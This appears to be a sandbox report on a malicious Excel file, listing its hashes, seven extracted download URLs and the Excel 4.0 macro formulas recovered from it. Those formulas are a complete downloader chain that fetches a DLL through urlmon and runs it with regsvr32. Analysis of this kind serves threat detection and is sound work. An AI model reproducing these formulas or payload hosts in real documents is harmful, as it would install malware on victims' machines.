General
-
Target
f9b115ae9e869f5ef8b5339f7662f8de0f1853a701de9b692130c7e5d8c0accc
-
Size
70KB
-
MD5
f10c0772712cac89a71b863c270e1f87
-
SHA1
96c8a9b3d428a70af11a41fdd7ae2f7d3c79b0a2
-
SHA256
f9b115ae9e869f5ef8b5339f7662f8de0f1853a701de9b692130c7e5d8c0accc
-
SHA512
dd078293a3e38656eacc8cb47cd6c443d804be0e80169012f4873d27264e1584a7d6ef72603530faed37056a1d330873510eba844c8fd3d93cd63c592fb6586a
-
SSDEEP
1536:+IaLfReW6G8W5K7lVnU9vKSMhCB8IsCsaiYD:+IDWllZhz4Y8hDe
Malware Config
Extracted
https://appleinfoway.com/venv/5Pp/
http://www.atelierkikala.com/Facebook/vXY2sLFfbSSCTh/
http://astrogurusunilbarmola.com/css/ucDJnRTACskNjrZOHr/
http://atters.net/cgi-bin/0yIPlpXo3156/
http://www.andrarose.com/wp-admin/9NE3hpWhdggun0YLeQ0/
http://ara-choob.com/data1/yPQ8/
http://asyadegirmen.com/Template/aweTuOE/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appleinfoway.com/venv/5Pp/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.atelierkikala.com/Facebook/vXY2sLFfbSSCTh/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://astrogurusunilbarmola.com/css/ucDJnRTACskNjrZOHr/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atters.net/cgi-bin/0yIPlpXo3156/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.andrarose.com/wp-admin/9NE3hpWhdggun0YLeQ0/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ara-choob.com/data1/yPQ8/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://asyadegirmen.com/Template/aweTuOE/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Signatures
Files
-
f9b115ae9e869f5ef8b5339f7662f8de0f1853a701de9b692130c7e5d8c0accc